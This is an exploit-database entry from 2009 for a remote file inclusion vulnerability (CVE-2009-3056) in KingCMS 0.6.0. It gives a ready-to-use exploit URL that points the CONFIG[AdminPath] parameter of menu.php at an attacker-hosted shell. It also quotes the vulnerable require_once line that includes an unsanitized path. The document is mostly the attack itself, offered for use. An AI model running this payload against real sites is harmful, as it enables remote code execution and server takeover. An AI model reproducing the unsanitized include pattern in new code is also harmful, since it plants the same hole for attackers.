KingCMS 0.6.0 - 'menu.php' Remote File Inclusion



EKU-ID: 17331 CVE: OSVDB-57688;CVE-2009-3056 OSVDB-ID:
Author: CoBRa_21 Published: 2009-09-01 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


-------------------------------------------------------------------------------------
Kingcms v0.6.0 [menu.php] Remote File Inclusion Vulnerability
-------------------------------------------------------------------------------------

Author: CoBRa_21

Mail: uyku_cu[at]windowslive[dot]com

Script Download: http://sourceforge.net/projects/kingcms/

-------------------------------------------------------------------------------------

EXPLOİT:

http://localhost/[PATH]/include/engine/content/elements/menu.php? CONFIG[AdminPath] =[SHELL]

-------------------------------------------------------------------------------------
BUG:

<?
require_once($CONFIG['AdminPath'] . "/include/engine/folder.php");

# milw0rm.com [2009-09-01]